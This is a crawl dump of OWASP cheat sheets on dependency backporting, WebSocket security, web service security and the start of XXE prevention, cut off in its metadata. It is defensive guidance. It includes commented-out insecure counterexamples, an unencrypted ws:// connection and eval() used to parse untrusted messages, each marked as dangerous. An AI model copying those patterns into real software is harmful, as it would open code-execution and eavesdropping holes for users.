1:**\n\nConfirm that the upgrade is really blocked by attempting it on a testing environment as described in Case 1. Backporting is cheaper than a major upgrade in the short term and more expensive over the life of the project, so it must be a deliberate choice rather than the first reflex. Record the exact blocker (breaking API, transitive pin, unsupported runtime), because that is the condition to re-test later.\n\n**Step 2:**\n\nIsolate the security-relevant change from the rest of the upstream release. Fix commits are frequently bundled with refactoring, renaming and unrelated bugfixes that must not be carried over, and the fix may rely on internal functions that do not exist in the older line, in which case the same check has to be re-implemented instead of cherry-picked. Keep the patch minimal: the goal is to block the vulnerability without changing any existing legitimate behavior.\n\n**Step 3:**\n\nVerify the patch rather than assume it. A test reproducing the vulnerability must fail against the unpatched dependency and pass against the patched one, and both the dependency's own test suite and the application tests must still pass. Silencing the scanner or bumping a version string is not remediation.\n\n**Step 4:**\n\nDistribute the patched artifact so that every build resolves it: publish it to the internal registry or proxy that the build already trusts, instead of committing a locally built file into each project. Give it a version identifier that remains traceable to the upstream version it derives from, and record its provenance (source commit, CVE, who produced it) so that the next reader can audit it. Expect detection tools to keep flagging the dependency, because [looking at the version number of a package will not tell you whether a backported fix is present](https://access.redhat.com/security/updates/backporting); suppress the alert per CVE as described in the note of Case 2.\n\n**Step 5:**\n\nTreat the patch as a standing commitment and not a one-off task. Every new upstream release of the dependency has to be re-patched, and every new CVE affecting it adds another patch to carry. Before deciding to maintain patches in-house, size that recurring work against acquiring maintained backports from a provider whose business is producing them. Drop the backport as soon as the fixed version becomes adoptable: re-test the blocker recorded in step 1 at each dependency review, then go back to Case 1.\n\n## Tools¶\n\nThis section lists several tools that can used to analyze the dependencies used by a project in order to detect the vulnerabilities.\n\nIt's important to ensure, during the selection process of a vulnerable dependency detection tool, that this one:\n\n- Uses several reliable input sources in order to handle both vulnerability disclosure ways.\n- Support for flagging an issue raised on a component as a [false-positive](https://www.whitehatsec.com/glossary/content/false-positive).\n- Free\n - [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) :\n - Full support: Java, .Net.\n - Experimental support: Python, Ruby, PHP (composer), NodeJS, C, C++.\n - [NPM Audit](https://docs.npmjs.com/cli/audit)\n - Full support: NodeJS, JavaScript.\n - HTML report available via this [module](https://www.npmjs.com/package/npm-audit-html) .\n - [OWASP Dependency Track](https://dependencytrack.org/) can be used to manage vulnerable dependencies across an organization.\n - [Trivy](https://github.com/aquasecurity/trivy)\n - Full support: Base OS, Java, NodeJS, JavaScript, Ruby, Python, Go, .NET, Rust, PHP, Dart, Swift\n - Targets: Kubernetes (nodes and containers), Docker (nodes and containers), filesystem, Git repositories, cloud images\n - [Grype](https://github.com/anchore/grype)\n - Full support across mainstream language ecosystems with SBOM-driven scanning\n - Targets: container images, filesystems, and SBOMs produced by [Syft](https://github.com/anchore/syft)\n- Commercial\n - [Snyk](https://snyk.io/) (open source and free option available):\n - [Full support](https://snyk.io/docs/) for many languages and package manager.\n - [JFrog XRay](https://jfrog.com/xray/) :\n - [Full support](https://jfrog.com/integration/) for many languages and package manager.\n - [Renovate](https://renovatebot.com) (allow to detect old dependencies):\n - [Full support](https://renovatebot.com/docs/) for many languages and package manager.\n\n### Remediation and maintained backports¶\n\nThe tools above detect vulnerable dependencies, they do not fix them. When the fixed version cannot be adopted, the patch still has to come from somewhere: either the development team maintains it or someone else does.\n\nLinux distribution security teams are the reference model for the second option. [Debian](https://www.debian.org/security/faq) and [Red Hat](https://access.redhat.com/security/updates/backporting) both backport security fixes into the version shipped in the stable release instead of upgrading it. When the dependency is consumed as an operating system package, take the distribution's patched build rather than maintaining a private patch.\n\nLanguage ecosystem packages are rarely covered that way, so the choice there is between maintaining the patch in-house and paying someone to maintain it. Judge either option on the same criteria as a detection tool, plus:\n\n- Coverage of the ecosystems, version lines and severities the project depends on, with a published response time.\n- Publication of the patch itself and of its provenance, so that the change can be reviewed instead of being trusted blindly.\n- Delivery as a compatible artifact through a registry or proxy that the build already uses, so that no manifest rewrite is required.\n- A documented way out, so that leaving the source does not mean re-patching everything from scratch.", "znaku_textu": 22877, "slov": 3347, "odkazu": 195, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:20", "sha256": "28e2040a32ee631188f8b08bee5d2a55824769a7f678b8779ac79fd245ef2c8a", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/", "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities.html", "https://owasp.org/www-project-application-security-verification-standard/", "https://en.wikipedia.org/wiki/Responsible_disclosure", "https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures", "https://www.excellium-services.com/cert-xlm-advisory/cve-2019-7161/", "https://nvd.nist.gov/vuln/data-feeds", "https://en.wikipedia.org/wiki/Full_disclosure", "https://seclists.org/fulldisclosure/", "https://www.exploit-db.com/", "https://en.wikipedia.org/wiki/Chief_risk_officer", "https://en.wikipedia.org/wiki/Chief_information_security_officer", "https://www.first.org/cvss/user-guide", "https://en.wikipedia.org/wiki/Transitive_dependency", "https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/", "https://help.github.com/en/articles/about-pull-requests", "https://en.wikipedia.org/wiki/Integrated_development_environment", "https://nvd.nist.gov/vuln/detail/CVE-2016-3720", "https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/", "https://access.redhat.com/security/updates/backporting", "https://www.debian.org/security/faq", "https://www.whitehatsec.com/glossary/content/false-positive", "https://owasp.org/www-project-dependency-check/", "https://docs.npmjs.com/cli/audit", "https://www.npmjs.com/package/npm-audit-html", "https://dependencytrack.org/", "https://github.com/aquasecurity/trivy", "https://github.com/anchore/grype", "https://github.com/anchore/syft", "https://snyk.io/", "https://snyk.io/docs/", "https://jfrog.com/xray/", "https://jfrog.com/integration/", "https://renovatebot.com/", "https://renovatebot.com/docs/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html", "titulek": "WebSocket Security - OWASP Cheat Sheet Series", "h1": "WebSocket Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WebSocket Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Primary Defenses¶"}, {"uroven": 3, "text": "Transport Security¶"}, {"uroven": 4, "text": "Always Use WSS (WebSocket Secure)¶"}, {"uroven": 4, "text": "WebSocket Protocol Configuration¶"}, {"uroven": 4, "text": "Infrastructure Configuration¶"}, {"uroven": 3, "text": "Authentication and Authorization¶"}, {"uroven": 4, "text": "Additional CSWSH Protections¶"}, {"uroven": 4, "text": "Session Management¶"}, {"uroven": 4, "text": "Message-Level Authorization¶"}, {"uroven": 3, "text": "Input Validation¶"}, {"uroven": 3, "text": "Service Tunneling Risks¶"}, {"uroven": 3, "text": "Denial-of-Service Protection¶"}, {"uroven": 3, "text": "Security Monitoring and Logging¶"}, {"uroven": 3, "text": "Testing WebSocket Security¶"}, {"uroven": 3, "text": "Framework-Specific Best Practices¶"}, {"uroven": 4, "text": "Keep Dependencies Updated¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# WebSocket Security Cheat Sheet¶\n\n## Introduction¶\n\nWebSockets enable real-time, bidirectional communication between clients and servers, powering applications like chat systems, live trading platforms, and collaborative tools. Unlike traditional HTTP requests, WebSocket connections remain open and allow continuous data exchange.\n\nHowever, WebSockets introduce security challenges that differ from standard web application security:\n\n- **Cross-Site WebSocket Hijacking (CSWSH)** : Attackers hijack authenticated connections from malicious websites\n- **Authentication bypass** : No built-in authentication makes access control easy to forget\n- **Injection attacks** : WebSocket messages can carry XSS, SQL injection, and other malicious payloads\n- **Denial-of-service** : Persistent connections enable new DoS attack vectors like connection exhaustion\n- **Monitoring gaps** : Traditional HTTP logs only capture the initial upgrade request, missing all message traffic\n\n**Real-world vulnerabilities:**\n\n- **Gitpod CSWSH (2023)** : [Insufficient origin validation](https://github.com/advisories/GHSA-f53g-frr2-jhpf) allowed full account takeover via hijacked WebSocket connections\n- **Spring RCE vulnerability** : [CVE-2018-1270](https://spring.io/security/cve-2018-1270) let attackers execute code through crafted STOMP messages\n\n## Primary Defenses¶\n\n### Transport Security¶\n\n#### Always Use WSS (WebSocket Secure)¶\n\nNever use unencrypted `ws://` connections in production. Unencrypted `ws://` connections allow eavesdropping and tampering.\n\n```\n// Secure - always use this const socket = new WebSocket('wss://app.example.com/socket'); // Insecure - never use in production // const socket = new WebSocket('ws://app.example.com/socket'); \n```\n\nSee the [Transport Layer Security Cheat Sheet](Transport_Layer_Security_Cheat_Sheet.html) for more details.\n\n#### WebSocket Protocol Configuration¶\n\n**Use modern protocol versions:**\n\nOnly support [RFC 6455](https://datatracker.ietf.org/doc/html/rfc6455) (the current WebSocket standard). Drop backward compatibility for outdated versions like [Hixie-76](https://datatracker.ietf.org/doc/html/draft-hixie-thewebsocketprotocol-76) and [hybi-00](https://datatracker.ietf.org/doc/html/draft-ietf-hybi-thewebsocketprotocol-00) which have known security vulnerabilities.\n\n**Compression security:**\n\nDisable `permessage-deflate` compression unless specifically needed. Compression can introduce security vulnerabilities similar to CRIME/BREACH attacks where compression combined with secret data can leak information.\n\n```\n// Node.js - disable compression for security const wss = new WebSocket.Server({ perMessageDeflate: false }); \n```\n\n#### Infrastructure Configuration¶\n\n**Proxy and load balancer support:**\n\nEnsure reverse proxies, load balancers, and CDNs are configured to handle WebSocket upgrades:\n\n- Configure proxy to support HTTP/1.1 upgrade mechanism\n- Pass `Upgrade` and `Connection: upgrade` headers correctly\n- Set proper read timeouts for long-lived connections\n- Ensure WebSocket traffic isn't blocked by security policies\n\n**WAF support:**\n\nCheck that your WAF supports WebSocket traffic inspection beyond the initial handshake. If not, rely on server-side validation and application logging.\n\n### Authentication and Authorization¶\n\nWebSockets don't have built-in authentication. Browsers include cookies in WebSocket handshake requests, making WebSocket applications vulnerable to Cross-Site WebSocket Hijacking (CSWSH).\n\nCSWSH allows attackers to hijack authenticated WebSocket connections from malicious websites:\n\n1. User logs into your application (session cookie established)\n2. User later visits a malicious website\n3. Malicious site opens WebSocket to your application, browser sends cookies automatically\n4. Server accepts the connection → attacker gets live, authenticated WebSocket access\n\nValidate the `Origin` header on every handshake. Always use an explicit allowlist of trusted origins. Browsers include this header and malicious JavaScript cannot override it.\n\n```\nconst wss = new WebSocket.Server({ verifyClient: (info) => { const allowedOrigins = ['https://app.example.com']; if (!allowedOrigins.includes(info.origin)) { console.log(`Rejected unauthorized origin: ${info.origin}`); return false; } return true; } }); \n```\n\n**Important:** Use an allowlist, not a denylist. Avoid wildcards or substring matching which are error-prone.\n\n#### Additional CSWSH Protections¶\n\nFor applications already using CSRF protection, include **CSRF tokens** in WebSocket handshakes.\n\n#### Session Management¶\n\nWebSocket connections often outlive normal sessions, requiring special handling.\n\n**Use SameSite cookies** (`SameSite=Lax` or `Strict`) to prevent cross-site cookie transmission and strengthen CSWSH defenses.\n\n**Handle session expiration** by implementing server-side validation for long-running connections. Close WebSocket connections when sessions expire. Re-validate user sessions periodically (every 30 minutes is common) to ensure they remain valid.\n\n```\n// Example: Close WebSocket on session expiry function validateSession(ws, sessionId) { if (!isSessionValid(sessionId)) { ws.close(1008, 'Session expired'); return false; } return true; } \n```\n\n**When users log out**, close all their WebSocket connections immediately. Maintain a mapping of sessions to active connections so you can invalidate WebSocket access the moment logout occurs.\n\n**Token-based authentication:**\n\nFor enhanced security, use token-based authentication instead of relying solely on cookies. Tokens can be passed in query strings (note: tokens will appear in access logs and should be redacted) or as part of WebSocket messages after connection establishment. Message-based token passing avoids log exposure but requires protocol design considerations.\n\n**Token refresh:**\n\nRotate tokens in long-lived connections to prevent hijacked sessions from persisting.\n\n#### Message-Level Authorization¶\n\nDon't assume WebSocket connection equals unlimited access. Check authorization for each action:\n\n```\nws.on('message', (data) => { const message = JSON.parse(data); // Check authorization for each action if (message.action === 'delete_user' && !user.hasRole('admin')) { ws.send(JSON.stringify({type: 'error', message: 'Access denied'})); return; } handleAuthorizedMessage(ws, user, message); }); \n```\n\n### Input Validation¶\n\nTreat all WebSocket messages as untrusted input. WebSocket messages can carry injection payloads such as SQLi, XSS, and command injection.\n\n**Validate message structure and content** using JSON schemas and allow-lists. Set reasonable size limits (typically 64KB or less) and implement rate limiting to prevent message flooding.\n\n**For binary data**, verify file types using magic numbers rather than trusting content-type headers. Scan uploads for malware when appropriate, and use safe deserialization for protocols like protobuf or MessagePack.\n\n```\nws.on('message', (data, isBinary) => { if (isBinary) { // Validate binary data if (data.length > MAX_BINARY_SIZE) { ws.close(1009, 'Message too large'); return; } // Check file type by magic numbers if (!isValidFileType(data)) { ws.close(1008, 'Invalid file type'); return; } } processBinaryData(data); }); \n```\n\n**To prevent message replay attacks** include timestamps or nonces in messages and reject duplicates to ensure old messages cannot be maliciously resent.\n\n```\nws.on('message', (data) => { const message = JSON.parse(data); // Check timestamp or nonce to prevent replay if (!isValidNonce(message.nonce)) { ws.close(1008, 'Replay detected'); return; } processMessage(message); }); \n```\n\n**Always use `JSON.parse()` instead of `eval()`** for JSON processing - `eval()` enables code execution from untrusted input.\n\n```\n// Safe const message = JSON.parse(data); // Dangerous - enables code execution // const message = eval('(' + data + ')'); \n```\n\nSee the [Input Validation Cheat Sheet](Input_Validation_Cheat_Sheet.html) for more details.\n\n### Service Tunneling Risks¶\n\nWhile WebSockets can tunnel TCP services (VNC, FTP, SSH), this creates security risks. If your application has XSS vulnerabilities, attackers could access these services directly from victims' browsers. If tunneling is necessary, implement additional authentication and access controls beyond the WebSocket layer.\n\n### Denial-of-Service Protection¶\n\nPersistent WebSocket connections increase DoS risk.\n\n**Limit connections and resources** by restricting total connections and implementing per-user limits (preferred) or per-IP limits where user identification isn't available. Set **message size limits** (typically 64KB or less) and implement **rate limiting** to prevent message flooding - 100 messages per minute is a common starting point.\n\n**Handle idle and dead connections** by implementing idle timeouts to close inactive connections. Use **heartbeat monitoring** with ping/pong frames to detect and clean up dead connections.\n\n**Implement backpressure controls** to prevent memory exhaustion from fast message producers. Many WebSocket implementations lack proper flow control, allowing attackers to overwhelm server memory by sending messages faster than they can be processed.\n\n```\nconst wss = new WebSocket.Server({ maxPayload: 64 * 1024 }); \n```\n\n### Security Monitoring and Logging¶\n\nTraditional HTTP access logs only capture the initial WebSocket upgrade request, not subsequent message traffic. You'll miss auth failures, injection attempts, rate-limit violations, and abuse.\n\n**Log WebSocket events** including connection establishment and termination (with user identity, IP, and origin), authentication and authorization events during handshake and message processing, security violations like rate limiting triggers and message validation failures, and abnormal disconnections and protocol errors.\n\n**Avoid logging sensitive data** - never log complete message contents, authentication tokens, session IDs, or personal information that could violate privacy regulations.\n\nSee the [Logging Cheat Sheet](Logging_Cheat_Sheet.html) for more details.\n\n### Testing WebSocket Security¶\n\n**Key security tests:**\n\n- **Origin validation** : Connect from unauthorized domains\n- **Authentication bypass** : Attempt connections without proper credentials\n- **Message injection** : Send XSS, SQL injection, and command injection payloads\n- **DoS resistance** : Test connection limits, message flooding, and oversized messages\n- **Session management** : Test session expiration and logout handling\n\n**Testing tools:**\n\n- Browser developer tools for manual testing\n- [wscat](https://github.com/websockets/wscat) for command-line WebSocket connections\n- Custom scripts for automated vulnerability testing\n- OWASP ZAP (includes WebSocket security testing features)\n\n### Framework-Specific Best Practices¶\n\n**Node.js:** Use the `verifyClient` callback for origin and authentication checks, set `maxPayload` limits, and disable `perMessageDeflate` compression to prevent security issues.\n\n**Python:** With Django Channels, implement authentication middleware and origin validation. Use async exception handling to prevent application crashes from malformed WebSocket messages.\n\n**Java Spring:** Configure allowed origins explicitly and integrate Spring Security for authorization. Set message size limits in your WebSocket container configuration to prevent resource exhaustion.\n\n**Go:** When using Gorilla WebSocket, implement validation in your `CheckOrigin` function - don't just return `true`. Set read limits, implement timeouts, and use context cancellation for graceful connection cleanup.\n\n#### Keep Dependencies Updated¶\n\nRegularly update WebSocket libraries and monitor security advisories. Past versions of popular libraries (`ws`, Spring STOMP, Python `websockets`) have had critical security vulnerabilities including DoS and RCE issues.\n\n## References¶\n\n- [Cross Site Scripting Prevention Cheat Sheet](Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [SQL Injection Prevention Cheat Sheet](SQL_Injection_Prevention_Cheat_Sheet.html)\n- [Authentication Cheat Sheet](Authentication_Cheat_Sheet.html)\n- [Session Management Cheat Sheet](Session_Management_Cheat_Sheet.html)\n- [CWE-1385: Missing Origin Validation in WebSockets](https://cwe.mitre.org/data/definitions/1385.html)", "znaku_textu": 11906, "slov": 1484, "odkazu": 157, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:21", "sha256": "b00e02bcc2d5a2eff07458209c959de7038e6a2c2ca89342d26ba91790beeea0", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://github.com/advisories/GHSA-f53g-frr2-jhpf", "https://spring.io/security/cve-2018-1270", "https://datatracker.ietf.org/doc/html/rfc6455", "https://datatracker.ietf.org/doc/html/draft-hixie-thewebsocketprotocol-76", "https://datatracker.ietf.org/doc/html/draft-ietf-hybi-thewebsocketprotocol-00", "https://github.com/websockets/wscat", "https://cwe.mitre.org/data/definitions/1385.html", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "titulek": "Web Service Security - OWASP Cheat Sheet Series", "h1": "Web Service Security Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Web Service Security Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Transport Confidentiality¶"}, {"uroven": 2, "text": "Server Authentication¶"}, {"uroven": 2, "text": "User Authentication¶"}, {"uroven": 2, "text": "Transport Encoding¶"}, {"uroven": 2, "text": "Message Integrity¶"}, {"uroven": 2, "text": "Message Confidentiality¶"}, {"uroven": 2, "text": "Authorization¶"}, {"uroven": 2, "text": "Schema Validation¶"}, {"uroven": 2, "text": "Content Validation¶"}, {"uroven": 2, "text": "Output Encoding¶"}, {"uroven": 2, "text": "Virus Protection¶"}, {"uroven": 2, "text": "Message Size¶"}, {"uroven": 2, "text": "Availability¶"}, {"uroven": 3, "text": "Resources Limiting¶"}, {"uroven": 3, "text": "Message Throughput¶"}, {"uroven": 3, "text": "XML Denial of Service Protection¶"}, {"uroven": 2, "text": "Endpoint Security Profile¶"}], "markdown": "# Web Service Security Cheat Sheet¶\n\n## Introduction¶\n\nThis article is focused on providing guidance for securing web services and preventing web services related attacks.\n\nPlease notice that due to the difference in implementation between different frameworks, this cheat sheet is kept at a high level.\n\n## Transport Confidentiality¶\n\nTransport confidentiality protects against eavesdropping and man-in-the-middle attacks against web service communications to/from the server.\n\n**Rule**: All communication with and between web services containing sensitive features, an authenticated session, or transfer of sensitive data must be encrypted using well-configured [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security). This is recommended even if the messages themselves are encrypted because [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security) provides numerous benefits beyond traffic confidentiality including integrity protection, replay defenses, and server authentication. For more information on how to do this properly see the [Transport Layer Security Cheat Sheet](Transport_Layer_Security_Cheat_Sheet.html).\n\n## Server Authentication¶\n\n**Rule**: TLS must be used to authenticate the service provider to the service consumer. The service consumer should verify the server certificate is issued by a trusted provider, is not expired, is not revoked, matches the domain name of the service, and that the server has proven that it has the private key associated with the public key certificate (by properly signing something or successfully decrypting something encrypted with the associated public key).\n\n## User Authentication¶\n\nUser authentication verifies the identity of the user or the system trying to connect to the service. Such authentication is usually a function of the container of the web service.\n\n**Rule**: If used, Basic Authentication must be conducted over [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security), but Basic Authentication is not recommended because it discloses secrets in plain text (base64 encoded) in HTTP Headers.\n\n**Rule**: Client Certificate Authentication using [Mutual-TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security) is a common form of authentication that is recommended where appropriate. See: [Authentication Cheat Sheet](Authentication_Cheat_Sheet.html).\n\n## Transport Encoding¶\n\n[SOAP](https://en.wikipedia.org/wiki/SOAP) encoding styles are meant to move data between software objects into XML format and back again.\n\n**Rule**: Enforce the same encoding style between the client and the server.\n\n## Message Integrity¶\n\nThis is for data at rest. The integrity of data in transit can easily be provided by [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security).\n\nWhen using [public key cryptography](https://en.wikipedia.org/wiki/Public-key_cryptography), encryption does guarantee confidentiality but it does not guarantee integrity since the receiver's public key is public. For the same reason, encryption does not ensure the identity of the sender.\n\n**Rule**: For XML data, use XML digital signatures to provide message integrity using the sender's private key. This signature can be validated by the recipient using the sender's digital certificate (public key).\n\n## Message Confidentiality¶\n\nData elements meant to be kept confidential must be encrypted using a strong encryption cipher with an adequate key length to deter brute-forcing.\n\n**Rule**: Messages containing sensitive data must be encrypted using a strong encryption cipher. This could be transport encryption or message encryption.\n\n**Rule**: Messages containing sensitive data that must remain encrypted at rest after receipt must be encrypted with strong data encryption, not just transport encryption.\n\n## Authorization¶\n\nWeb services need to authorize web service clients the same way web applications authorize users. A web service needs to make sure a web service client is authorized to perform a certain action (coarse-grained) on the requested data (fine-grained).\n\n**Rule**: A web service should authorize its clients whether they have access to the method in question. Following an authentication challenge, the web service should check the privileges of the requesting entity whether they have access to the requested resource. This should be done on every request, and a challenge-response Authorization mechanism added to sensitive resources like password changes, primary contact details such as email, physical address, payment or delivery instructions.\n\n**Rule**: Ensure access to administration and management functions within the Web Service Application is limited to web service administrators. Ideally, any administrative capabilities would be in an application that is completely separate from the web services being managed by these capabilities, thus completely separating normal users from these sensitive functions.\n\n## Schema Validation¶\n\nSchema validation enforces constraints and syntax defined by the schema.\n\n**Rule**: Web services must validate [SOAP](https://en.wikipedia.org/wiki/SOAP) payloads against their associated XML schema definition ([XSD](https://www.w3schools.com/xml/schema_intro.asp)).\n\n**Rule**: The [XSD](https://www.w3schools.com/xml/schema_intro.asp) defined for a [SOAP](https://en.wikipedia.org/wiki/SOAP) web service should, at a minimum, define the maximum length and character set of every parameter allowed to pass into and out of the web service.\n\n**Rule**: The [XSD](https://www.w3schools.com/xml/schema_intro.asp) defined for a [SOAP](https://en.wikipedia.org/wiki/SOAP) web service should define strong (ideally allow-list) validation patterns for all fixed format parameters (e.g., zip codes, phone numbers, list values, etc.).\n\n## Content Validation¶\n\n**Rule**: Like any web application, web services need to validate input before consuming it. Content validation for XML input should include:\n\n- Validation against malformed XML entities.\n- Validation against [XML Bomb attacks](https://en.wikipedia.org/wiki/Billion_laughs_attack) .\n- Validating inputs using a strong allowlist.\n- Validating against [external entity attacks](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_%28XXE%29_Processing) .\n\n## Output Encoding¶\n\nWeb services need to ensure that the output sent to clients is encoded to be consumed as data and not as scripts. This gets pretty important when web service clients use the output to render HTML pages either directly or indirectly using AJAX objects.\n\n**Rule**: All the rules of output encoding applies as per [Cross Site Scripting Prevention Cheat Sheet](Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n\n## Virus Protection¶\n\n[SOAP](https://en.wikipedia.org/wiki/SOAP) provides the ability to attach files and documents to [SOAP](https://en.wikipedia.org/wiki/SOAP) messages. This gives the opportunity for hackers to attach viruses and malware to these [SOAP](https://en.wikipedia.org/wiki/SOAP) messages.\n\n**Rule**: Ensure Virus Scanning technology is installed and preferably inline so files and attachments could be checked before being saved on disk.\n\n**Rule**: Ensure Virus Scanning technology is regularly updated with the latest virus definitions/rules.\n\n## Message Size¶\n\nWeb services like web applications could be a target for DOS attacks by automatically sending the web services thousands of large size [SOAP](https://en.wikipedia.org/wiki/SOAP) messages. This either cripples the application making it unable to respond to legitimate messages or it could take it down entirely.\n\n**Rule**: [SOAP](https://en.wikipedia.org/wiki/SOAP) Messages size should be limited to an appropriate size limit. Larger size limit (or no limit at all) increases the chances of a successful DoS attack.\n\n## Availability¶\n\n### Resources Limiting¶\n\nDuring regular operation, web services require computational power such as CPU cycles and memory. Due to malfunctioning or while under attack, a web service may required too much resources, leaving the host system unstable.\n\n**Rule**: Limit the amount of CPU cycles the web service can use based on expected service rate, in order to have a stable system.\n\n**Rule**: Limit the amount of memory the web service can use to avoid system running out of memory. In some cases the host system may start killing processes to free up memory.\n\n**Rule**: Limit the number of simultaneous open files, network connections and started processes.\n\n### Message Throughput¶\n\nThroughput represents the number of web service requests served during a specific amount of time.\n\n**Rule**: Configuration should be optimized for maximum message throughput to avoid running into DoS-like situations.\n\n### XML Denial of Service Protection¶\n\nXML Denial of Service is probably the most serious attack against web services. So the web service must provide the following validation:\n\n**Rule**: Validation against recursive payloads.\n\n**Rule**: Validation against oversized payloads.\n\n**Rule**: Protection against [XML entity expansion](https://www.ws-attacks.org/XML_Entity_Expansion).\n\n**Rule**: Validating against overlong element names. If you are working with [SOAP](https://en.wikipedia.org/wiki/SOAP)-based Web Services, the element names are those [SOAP](https://en.wikipedia.org/wiki/SOAP) Actions.\n\nThis protection should be provided by your XML parser/schema validator. To verify, build test cases to make sure your parser to resistant to these types of attacks.\n\n## Endpoint Security Profile¶\n\n**Rule**: Web services must be compliant with [Web Services-Interoperability (WS-I)](https://en.wikipedia.org/wiki/Web_Services_Interoperability) Basic Profile at minimum.", "znaku_textu": 9503, "slov": 1257, "odkazu": 157, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:22", "sha256": "4fc106b5aa77cc8a7d0abbcc78bde34c2e335ddf11bde531df87132852d8e55f", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://en.wikipedia.org/wiki/Transport_Layer_Security", "https://en.wikipedia.org/wiki/SOAP", "https://en.wikipedia.org/wiki/Public-key_cryptography", "https://www.w3schools.com/xml/schema_intro.asp", "https://en.wikipedia.org/wiki/Billion_laughs_attack", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "https://www.ws-attacks.org/XML_Entity_Expansion", "https://en.wikipedia.org/wiki/Web_Services_Interoperability", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", "titulek": "XML External Entity Prevention - OWASP Cheat Sheet Series", "h1": "XML External Entity Prevention Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "XML External Entity Prevention Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "General Guidance¶"}, {"uroven": 3, "text": "XML Parser Security Features Matrix¶"}, {"uroven": 3, "text": "Quick Impact Matrix (What Happens If Missing?)¶"}, {"uroven": 3, "text": "Minimal XML Hardening Rules¶"}, {"uroven": 2, "text": "C/C++¶"}, {"uroven": 3, "text": "libxml2¶"}, {"uroven": 3, "text": "libxerces-c¶"}, {"uroven": 2, "text": "ColdFusion¶"}, {"uroven": 3, "text": "Adobe ColdFusion¶"}, {"uroven": 3, "text": "Lucee¶"}, {"uroven": 2, "text": "Java¶"}, {"uroven": 3, "text": "JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J¶"}, {"uroven": 3, "text": "XMLInputFactory (a StAX parser)¶"}, {"uroven": 3, "text": "Oracle DOM Parser¶"}, {"uroven": 3, "text": "TransformerFactory¶"}, {"uroven": 3, "text": "Validator¶"}, {"uroven": 3, "text": "SchemaFactory¶"}, {"uroven": 3, "text": "SAXTransformerFactory¶"}, {"uroven": 3, "text": "XMLReader¶"}, {"uroven": 3, "text": "SAXReader¶"}, {"uroven": 3, "text": "SAXBuilder¶"}, {"uroven": 3, "text": "No-op EntityResolver¶"}, {"uroven": 3, "text": "JAXB Unmarshaller¶"}, {"uroven": 3, "text": "XPathExpression¶"}, {"uroven": 3, "text": "java.beans.XMLDecoder¶"}, {"uroven": 3, "text": "Other XML Parsers¶"}, {"uroven": 4, "text": "Spring Framework MVC/OXM XXE Vulnerabilities¶"}, {"uroven": 4, "text": "Castor¶"}, {"uroven": 2, "text": ".NET¶"}, {"uroven": 3, "text": "Overview of .NET Parser Safety Levels¶"}, {"uroven": 4, "text": "XDocument (LINQ to XML) default safety levels¶"}, {"uroven": 4, "text": "XmlDocument, XmlTextReader, XPathNavigator default safety levels¶"}, {"uroven": 4, "text": "XmlDictionaryReader, XmlNodeReader, XmlReader default safety levels¶"}, 